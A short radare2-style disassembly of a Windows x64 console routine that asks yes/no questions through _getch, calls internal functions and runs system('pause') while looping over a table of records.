call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
cmp al, 0x79
je 0x14001ab98
cmp al, 0x59
je 0x14001ab98
sub al, 0x4e
test al, 0xdf
je 0x14001abd4
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
cmp al, 0x79
jne 0x14001ab84
mov ecx, 1
call fcn.14001aa30
call fcn.140015f50
lea rcx, [0x140023a78]
call fcn.1400010a0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14001b9f0
inc ebx
add rdi, 0x70
cmp ebx, dword [rbp + 0xc]
jl 0x14001ab40
xor al, al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, esi
call fcn.14001aa30
call fcn.140015f50
mov edx, esi
lea rcx, [0x140023aa0]
call fcn.1400010a0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, esi
call fcn.14001bbc0
mov al, 1
jmp 0x14001abd6